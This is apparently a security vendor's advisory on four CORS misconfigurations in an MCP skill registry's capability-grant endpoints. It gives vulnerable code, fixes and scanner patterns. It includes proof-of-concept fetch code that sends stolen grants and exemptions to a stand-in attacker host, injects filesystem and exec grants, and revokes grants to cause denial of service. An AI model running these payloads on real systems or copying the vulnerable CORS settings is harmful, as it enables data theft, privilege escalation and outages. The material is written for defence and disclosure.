← Blog

Claude MCP skill CORS misconfiguration — skill permission and capability grant management endpoints (SA-SKL-CORS69)

SA-SKL-CORS69 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill permission and capability grant management endpoints. Credential-bearing CORS on the permission list endpoint exposes capability grants, scope definitions, and reviewer exemptions under victim admin session; wildcard ACAO on the grant creation endpoint lets any origin add attacker-controlled capability grants giving a skill unauthorized filesystem, network, or exec capabilities; a timing oracle on the permission audit endpoint reveals skills with active capability review cycles; and credential-bearing CORS on grant deletion allows any origin to revoke active capability grants, breaking skill functionality for all downstream consumers.

SA-SKL-CORS69 findings at a glance
CRITICALCORS69-001 — GET /api/skills/:id/permissions has cors({origin:true,credentials:true}); any origin reads full permission list including capability grants, scope definitions, and reviewer exemptions; reveals internal policy exceptions and undisclosed capability escalations
CRITICALCORS69-002 — POST /api/skills/:id/permissions/grant has ACAO:*; any page creates attacker-controlled capability grant entries under victim admin identity; skill gains unauthorized filesystem/network/exec capabilities in all consumer Claude environments
MEDIUMCORS69-003 — GET /api/skills/:id/permissions/audit reflects Origin before ownership check; timing oracle reveals permission audit velocity identifying skills with active capability review cycles as high-value CORS69-001 targets
HIGHCORS69-004 — DELETE /api/skills/:id/permissions/:permissionId has cors({origin:true,credentials:true}); any origin revokes active capability grants under victim admin session; breaks skill functionality and triggers cascade failures across all consumers

CORS69-001 — Credential-bearing CORS exposes capability grant list and reviewer exemptions

The GET /api/skills/:id/permissions endpoint returns the complete permission record for a skill, including every active capability grant (filesystem paths, network hosts, exec commands), the scope definitions attached to each grant, and the reviewer exemptions that allowed certain capabilities to bypass the registry's capability approval workflow. The endpoint is configured with cors({origin:true,credentials:true}), meaning any cross-origin page can read the full response using the victim admin's session cookie.

The most sensitive data returned here is the reviewer exemption list: entries in this list document which capability grants were approved without going through the standard multi-party review process. An attacker who reads these exemptions understands exactly which capabilities are most lightly governed and therefore most likely to be exploitable or expandable in a follow-on attack. The scope definitions expose the precise filesystem paths and network hosts that the skill is permitted to touch, giving an attacker a map of the attack surface that the skill's capability grants open up within a Claude environment.

Vulnerable
// CORS69-001 — VULNERABLE
router.get(
  '/permissions',
  cors({ origin: true, credentials: true }), // any origin reads capability grants
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const permissions = await db.skillPermissions.findAll({
      where: { skillId: req.params.id },
      // VULNERABLE: exposes grants, scopes, and reviewer exemptions
      include: [
        { model: db.capabilityGrants, as: 'grants' },
        { model: db.scopeDefinitions, as: 'scopes' },
        { model: db.reviewerExemptions, as: 'exemptions' },
      ],
    });
    res.json(permissions);
  }
);

Attack PoC — CORS69-001: The attacker hosts the following on evil.example.com and social-engineers a skill admin to visit the page. The response dumps every capability grant, scope definition, and reviewer exemption for the target skill.

// CORS69-001 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/permissions', {
  credentials: 'include',
})
  .then(r => r.json())
  .then(permissions => {
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      grants: permissions.flatMap(p => p.grants),
      exemptions: permissions.flatMap(p => p.exemptions),
      scopes: permissions.flatMap(p => p.scopes),
    }));
  });
Fixed
// CORS69-001 — FIXED
router.get(
  '/permissions',
  cors(corsOptions),         // allowlist CORS — deny cross-origin reads
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const permissions = await db.skillPermissions.findAll({
      where: { skillId: req.params.id },
      // FIXED: omit reviewer exemptions from list response
      include: [
        { model: db.capabilityGrants, as: 'grants',
          attributes: ['id', 'capability', 'status', 'grantedAt'] },
        { model: db.scopeDefinitions, as: 'scopes',
          attributes: ['id', 'resource', 'access'] },
        // reviewer exemptions omitted — detail endpoint only
      ],
    });
    res.json(permissions);
  }
);

CORS69-002 — Wildcard ACAO enables attacker-controlled capability grant creation

The POST /api/skills/:id/permissions/grant endpoint creates a new capability grant entry for a skill, associating filesystem paths, network hosts, or exec command patterns with a capability identifier. With ACAO:* set, any origin can issue a cross-origin POST that the registry processes as a legitimate grant creation request. If any ambient credential mechanism is in play (bearer token stored in a cookie that the registry reads regardless of ACAO configuration, or an API key in a URL parameter), the attacker can create capability grants under the victim admin identity.

Once an attacker-controlled capability grant is recorded, the skill's permission manifest reflects the new capability. Claude environments that query the registry to verify skill capabilities before execution will read the expanded grant set and allow the skill to access filesystem paths, network hosts, or exec commands that the skill publisher never requested and that no legitimate reviewer approved. If the registry's capability grants feed into a Claude tool-use policy or sandbox profile, the injected grant effectively expands the skill's sandbox boundary in every downstream consumer environment.

Vulnerable
// CORS69-002 — VULNERABLE
router.post(
  '/permissions/grant',
  (req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*'); // VULNERABLE: wildcard ACAO
    res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    if (req.method === 'OPTIONS') return res.sendStatus(204);
    next();
  },
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { capability, scopePaths, scopeHosts, scopeExec } = req.body;
    const grant = await db.capabilityGrants.create({
      skillId: req.params.id,
      capability,
      scopePaths,
      scopeHosts,
      scopeExec,
      grantedByUserId: req.session.userId,
      status: 'active',
    });
    res.json(grant);
  }
);

Attack PoC — CORS69-002: The attacker injects a capability grant giving the skill access to /etc/ and arbitrary exec, which propagates to all Claude environments that trust the registry's capability manifest for this skill.

// CORS69-002 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/permissions/grant', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    capability: 'filesystem',
    scopePaths: ['/etc/', '/home/'],
    scopeHosts: ['169.254.169.254'],
    scopeExec: ['bash', 'sh', 'python3'],
  }),
})
  .then(r => r.json())
  .then(grant => console.log('Capability injected:', grant.id));
Fixed
// CORS69-002 — FIXED
router.post(
  '/permissions/grant',
  cors(corsOptions),     // allowlist CORS
  requireSession,
  verifyCsrfToken,
  requireOwnership('skillId'),
  async (req, res) => {
    const parsed = CapabilityGrantSchema.safeParse(req.body);
    if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
    const { capability, scopePaths, scopeHosts, scopeExec } = parsed.data;
    // All new capability grants require security team review — set status 'pending'
    const grant = await db.capabilityGrants.create({
      skillId: req.params.id,
      capability,
      scopePaths,
      scopeHosts,
      scopeExec,
      requestedByUserId: req.session.userId,
      status: 'pending_review', // FIXED: not immediately active
    });
    await notifySecurityTeam(req.params.id, 'capability.grant.requested', grant);
    res.json({ id: grant.id, status: grant.status });
  }
);

CORS69-003 — Timing oracle on permission audit endpoint reveals active capability review cycles

The GET /api/skills/:id/permissions/audit endpoint reflects the Origin request header as the Access-Control-Allow-Origin response value before performing the ownership check. The ownership check queries a Redis-backed session cache: skills whose admin recently authenticated return in under 5ms (cache hit) while uncached lookups take 20–40ms. An attacker can enumerate skill IDs and measure response latency, identifying skills with active admin sessions.

Skills with the shortest response times are those whose admins are actively logged in and working within the registry — often mid-cycle in a capability review workflow that generates pending approval records. These are the highest-value targets for CORS69-001 (exfiltrating the reviewer exemptions that document which capabilities bypassed the approval process) and CORS69-002 (injecting new capability grants while an admin is likely to be approving other grants, reducing the chance the injected grant is noticed).

Vulnerable
// CORS69-003 — VULNERABLE
router.get('/permissions/audit',
  (req, res, next) => {
    // VULNERABLE: Origin reflected before ownership check — timing oracle
    res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.setHeader('Vary', 'Origin');
    next();
  },
  requireSession,
  requireOwnershipCached('skillId', { ttl: 60 }),
  async (req, res) => {
    const audit = await db.permissionAuditLog.findAll({
      where: { skillId: req.params.id },
      order: [['createdAt', 'DESC']],
      limit: 100,
    });
    res.json(audit);
  }
);
Fixed
// CORS69-003 — FIXED
router.get('/permissions/audit',
  cors(corsOptions),
  requireSession,
  async (req, res) => {
    const startMs = Date.now();
    const audit = await db.permissionAuditLog.findAllForOwner({
      skillId: req.params.id,
      userId: req.session.userId,
      order: [['createdAt', 'DESC']],
      limit: 100,
    });
    if (!audit) {
      const elapsed = Date.now() - startMs;
      if (elapsed < 60) await delay(60 - elapsed);
      return res.status(403).json({ error: 'Not found' });
    }
    res.json(audit);
  }
);

CORS69-004 — Credential-bearing CORS revokes capability grants breaking skill functionality

The DELETE /api/skills/:id/permissions/:permissionId endpoint revokes an active capability grant, immediately removing the capability from the skill's permission manifest. With cors({origin:true,credentials:true}), any cross-origin page can send a credentialed DELETE request using the victim admin's session cookie. If the skill's runtime checks the registry for active capability grants before each execution, revoking a critical grant causes every subsequent invocation to fail with a permissions error.

The practical impact of CORS69-004 is a denial-of-service against skills that depend on the revoked capability for core functionality. If the targeted skill provides a tool used by enterprise Claude deployments and the attacker revokes the filesystem or network capability that the tool depends on, every consumer of that skill experiences simultaneous failures. Because the registry records the deletion as originating from the legitimate admin's session, incident responders initially attribute the outage to an administrative error rather than an attack, delaying the investigation and restoration timeline.

Vulnerable
// CORS69-004 — VULNERABLE
router.delete('/:permissionId',
  cors({ origin: true, credentials: true }), // any origin revokes capability grants
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    await db.capabilityGrants.destroy({
      where: { id: req.params.permissionId, skillId: req.params.id },
    });
    res.json({ ok: true });
  }
);

Attack PoC — CORS69-004: The attacker revokes the network capability grant, causing all consumer Claude environments to reject skill invocations that require network access. The registry logs show the legitimate admin as the actor.

// CORS69-004 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/permissions/network-grant-uuid', {
  method: 'DELETE',
  credentials: 'include',
})
  .then(r => r.json())
  .then(() => {
    // Network capability revoked — all consumer invocations requiring network now fail
    console.log('Grant revoked; skill DoS active');
  });
Fixed
// CORS69-004 — FIXED
router.delete('/:permissionId',
  cors(corsOptions),
  requireSession,
  verifyCsrfToken,
  requireOwnership('skillId'),
  async (req, res) => {
    const grant = await db.capabilityGrants.findOne({
      where: { id: req.params.permissionId, skillId: req.params.id },
    });
    if (!grant) return res.status(404).json({ error: 'Not found' });
    // Soft-revoke with cooldown — hard delete after 24h to allow recovery
    await grant.update({
      status: 'revoked',
      revokedAt: new Date(),
      revokedByUserId: req.session.userId,
      hardDeleteAt: new Date(Date.now() + 86400_000),
    });
    await notifyConsumers(req.params.id, 'capability.revoked', {
      permissionId: grant.id,
      capability: grant.capability,
    });
    res.json({ ok: true, recoverableUntil: grant.hardDeleteAt });
  }
);

SkillAudit detection: The scanner identifies CORS69 patterns using four AST query classes: cors({origin:true,credentials:true}) on route handlers containing /permissions; res.setHeader('Access-Control-Allow-Origin','*') on grant creation endpoints; res.setHeader('Access-Control-Allow-Origin', req.headers.origin) before the ownership cache check on audit routes; and capabilityGrants.destroy() without a soft-revoke .update({status:'revoked'}) pattern in the same handler. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-CORS68 — CORS in audit report and compliance export endpoints • All advisories